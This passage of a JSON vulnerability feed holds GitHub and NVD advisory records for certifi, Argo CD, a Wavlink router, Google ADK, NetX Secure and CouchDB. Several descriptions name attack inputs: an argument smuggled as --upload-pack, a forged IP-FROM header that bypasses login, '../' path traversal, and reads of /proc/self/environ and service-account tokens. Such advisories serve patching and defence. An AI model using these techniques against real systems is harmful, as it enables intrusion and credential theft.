page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-hq85-5cpj-mr62, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-6q48-6c7w-9gw2","cveId":null,"aliases":[],"kind":"vulnerability","title":"certifi bundles emSign root CAs with compromised intermediate CA keys","summary":"Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.","detail":"Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. \n\nAn attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer.\n\nCertifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi.\n\nAffected package ranges reported by GitHub:\ncertifi: >= 2019.03.09, < 2026.10.18","action":"GitHub lists first patched versions: certifi: 2026.10.18. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-20T19:35:05.000Z","updatedAt":"2026-10-26T16:02:13.000Z","regions":["Global"],"vendor":null,"product":"certifi","stacks":["Python packages (PyPI)","certifi","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-6q48-6c7w-9gw2","asOf":"2026-10-26T16:02:13.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-6q48-6c7w-9gw2","url":"https://github.com/advisories/GHSA-6q48-6c7w-9gw2","type":"primary","publishedAt":"2026-10-20T19:35:05.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-6q48-6c7w-9gw2, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113709","cveId":"CVE-2026-113709","aliases":[],"kind":"vulnerability","title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.1.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, when an operator has enabled --enable-helm for kustomize build, helmGlobals.configHome can point Helm's config and data directories at a repository-controlled location. Helm automatically loads a downloader plugin from `<configHome>/.data/plugins` without a separate plugin-install step and executes its program inside argocd-repo-server when a helmCharts repository URL uses the plugin's protocol. The command runs as the repo-server user and can read repository credentials and other process-accessible data. An attacker can commit the Kustomization and plugin to a Git repository that an Application builds or upload the files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Both delivery paths require prior operator enablement of --enable-helm; deployments that do not enable it are not affected. Kustomize 4.1.0 first passed helmGlobals.configHome through to Helm. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.","detail":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.1.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, when an operator has enabled --enable-helm for kustomize build, helmGlobals.configHome can point Helm's config and data directories at a repository-controlled location. Helm automatically loads a downloader plugin from `<configHome>/.data/plugins` without a separate plugin-install step and executes its program inside argocd-repo-server when a helmCharts repository URL uses the plugin's protocol. The command runs as the repo-server user and can read repository credentials and other process-accessible data. An attacker can commit the Kustomization and plugin to a Git repository that an Application builds or upload the files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Both delivery paths require prior operator enablement of --enable-helm; deployments that do not enable it are not affected. Kustomize 4.1.0 first passed helmGlobals.configHome through to Helm. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T19:17:33.457Z","updatedAt":"2026-10-21T16:17:24.917Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113709","asOf":"2026-10-21T16:17:24.917Z"},"epss":{"probability":0.0053,"percentile":0.44557,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113709","type":"primary","publishedAt":"2026-10-20T19:17:33.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113708","cveId":"CVE-2026-113708","aliases":[],"kind":"vulnerability","title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.7.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Kustomize passes ref or version query values from remote resource, base, or component URLs to git fetch without an end-of-options separator. A leading-hyphen value can be parsed as --upload-pack and execute a command inside argocd-repo-server when the remote uses a local transport such as file://. Git does not run the supplied command for an https:// remote. The local transport does not leave the pod, so blocking repo-server egress does not prevent the execution. The command runs as the repo-server user, can read repository credentials and other process-accessible data, and can return output through manifest-generation errors. An attacker can commit a Kustomization to a Git repository that an Application builds or upload files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Kustomize 5.0.0 introduced acceptance of file://, whereas 4.5.7 rejects that transport; replacing the affected Kustomize with a newer version alone does not correct the missing option separator. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.","detail":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.7.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Kustomize passes ref or version query values from remote resource, base, or component URLs to git fetch without an end-of-options separator. A leading-hyphen value can be parsed as --upload-pack and execute a command inside argocd-repo-server when the remote uses a local transport such as file://. Git does not run the supplied command for an https:// remote. The local transport does not leave the pod, so blocking repo-server egress does not prevent the execution. The command runs as the repo-server user, can read repository credentials and other process-accessible data, and can return output through manifest-generation errors. An attacker can commit a Kustomization to a Git repository that an Application builds or upload files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Kustomize 5.0.0 introduced acceptance of file://, whereas 4.5.7 rejects that transport; replacing the affected Kustomize with a newer version alone does not correct the missing option separator. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T19:17:33.287Z","updatedAt":"2026-10-20T19:59:00.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113708","asOf":"2026-10-20T19:59:00.607Z"},"epss":{"probability":0.00666,"percentile":0.51559,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113708","type":"primary","publishedAt":"2026-10-20T19:17:33.287Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113802","cveId":"CVE-2026-113802","aliases":[],"kind":"vulnerability","title":"Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized...","summary":"Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized file_id parameter of /protocol.csp?opt=ovpn_file requests with type=del to popen(). A remote unauthenticated attacker can send a forged IP-FROM: 127.0.0.1 header to bypass login and execute arbitrary commands as root.","detail":"Wavlink WL-WN530BE1-A firmware through M30BE1_V251117 contains an OS command injection vulnerability in the sub_23B54 function of the ioos binary, which passes the unsanitized file_id parameter of /protocol.csp?opt=ovpn_file requests with type=del to popen(). A remote unauthenticated attacker can send a forged IP-FROM: 127.0.0.1 header to bypass login and execute arbitrary commands as root.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T18:17:21.430Z","updatedAt":"2026-10-21T16:17:28.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113802","asOf":"2026-10-21T16:17:28.990Z"},"epss":{"probability":0.03472,"percentile":0.88997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113802","type":"primary","publishedAt":"2026-10-20T18:17:21.430Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113672","cveId":"CVE-2026-113672","aliases":[],"kind":"vulnerability","title":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.","summary":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 0.9.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, the repo-server evaluates .jsonnet files with an importer that does not confine import, importstr, or importbin to the repository root. Absolute paths, parent-directory traversal, and repository symlinks can open any file readable by the repo-server, including /proc/self/environ, projected service-account tokens, mounted private keys, and repository credentials. Although generated Secrets are redacted, placing imported contents in a ConfigMap returns the data to the caller. Using importstr on a non-terminating device such as /dev/zero can exhaust repo-server memory. An attacker can commit a .jsonnet file to a Git repository used by an Application or upload the file through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. Directory applications evaluate every .jsonnet file in the application directory. The upload path requires only Application get permission on an existing directory Application, without Application update or sync permission or repository write access. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.","detail":"Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 0.9.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, the repo-server evaluates .jsonnet files with an importer that does not confine import, importstr, or importbin to the repository root. Absolute paths, parent-directory traversal, and repository symlinks can open any file readable by the repo-server, including /proc/self/environ, projected service-account tokens, mounted private keys, and repository credentials. Although generated Secrets are redacted, placing imported contents in a ConfigMap returns the data to the caller. Using importstr on a non-terminating device such as /dev/zero can exhaust repo-server memory. An attacker can commit a .jsonnet file to a Git repository used by an Application or upload the file through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. Directory applications evaluate every .jsonnet file in the application directory. The upload path requires only Application get permission on an existing directory Application, without Application update or sync permission or repository write access. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T18:17:20.950Z","updatedAt":"2026-10-20T19:59:00.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113672","asOf":"2026-10-20T19:59:00.607Z"},"epss":{"probability":0.00837,"percentile":0.57483,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113672&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113672","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113672","type":"primary","publishedAt":"2026-10-20T18:17:20.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113672&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113672, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105772","cveId":"CVE-2026-105772","aliases":[],"kind":"vulnerability","title":"Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching...","summary":"Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching the artifact directory layout or write files (when an agent tool invokes saveArtifact) outside the intended artifact storage root via crafted relative or percent-encoded path traversal sequences (such as ../ or ..%2F) in the userId or sessionId parameters when the ADK API server is exposed with the non-default FileArtifactService enabled. Applications using the default InMemoryArtifactService are unaffected. Upgrade to @google/adk version 0.6.0 or later.","detail":"Path Traversal (CWE-22) in FileArtifactService in Google ADK TypeScript (@google/adk) versions 0.4.0 before 0.6.0 allows a remote unauthenticated attacker to read files matching the artifact directory layout or write files (when an agent tool invokes saveArtifact) outside the intended artifact storage root via crafted relative or percent-encoded path traversal sequences (such as ../ or ..%2F) in the userId or sessionId parameters when the ADK API server is exposed with the non-default FileArtifactService enabled. Applications using the default InMemoryArtifactService are unaffected. Upgrade to @google/adk version 0.6.0 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T18:17:16.607Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105772","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00513,"percentile":0.43457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105772&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105772","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105772","type":"primary","publishedAt":"2026-10-20T18:17:16.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105772&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105772, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93475","cveId":"CVE-2026-93475","aliases":[],"kind":"vulnerability","title":"The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the...","summary":"The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the `NX_CRYPTO_MAX_RSA_MODULUS_SIZE` default of 4096 bits. A certificate carrying a larger modulus drives an out-of-bounds write past a file-scope static during ordinary certificate-chain verification.\n\n\n\nIt is reachable pre-authentication. The issuer used for the crypto operation is looked up in the remote, peer-supplied store before the trusted store, so the attacker supplies the oversized key themselves as an intermediate in the chain they present. It triggers on a TLS or DTLS client verifying a malicious server's chain, and on a server performing client-certificate authentication.","detail":"The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the `NX_CRYPTO_MAX_RSA_MODULUS_SIZE` default of 4096 bits. A certificate carrying a larger modulus drives an out-of-bounds write past a file-scope static during ordinary certificate-chain verification.\n\n\n\nIt is reachable pre-authentication. The issuer used for the crypto operation is looked up in the remote, peer-supplied store before the trusted store, so the attacker supplies the oversized key themselves as an intermediate in the chain they present. It triggers on a TLS or DTLS client verifying a malicious server's chain, and on a server performing client-certificate authentication.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T16:17:17.520Z","updatedAt":"2026-10-20T19:48:50.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93475","asOf":"2026-10-20T19:48:50.250Z"},"epss":{"probability":0.00246,"percentile":0.15683,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93475","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93475","type":"primary","publishedAt":"2026-10-20T16:17:17.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86471","cveId":"CVE-2026-86471","aliases":[],"kind":"vulnerability","title":"An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB...","summary":"An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB operating system user.\n\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.","detail":"An unvalidated runtime configuration value in Apache CouchDB 3.5.2 and below on all platforms allows a CouchDB server admin to run arbitrary shell commands as the CouchDB operating system user.\n\nUsers are recommended to upgrade to version 3.5.3, which fixes this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 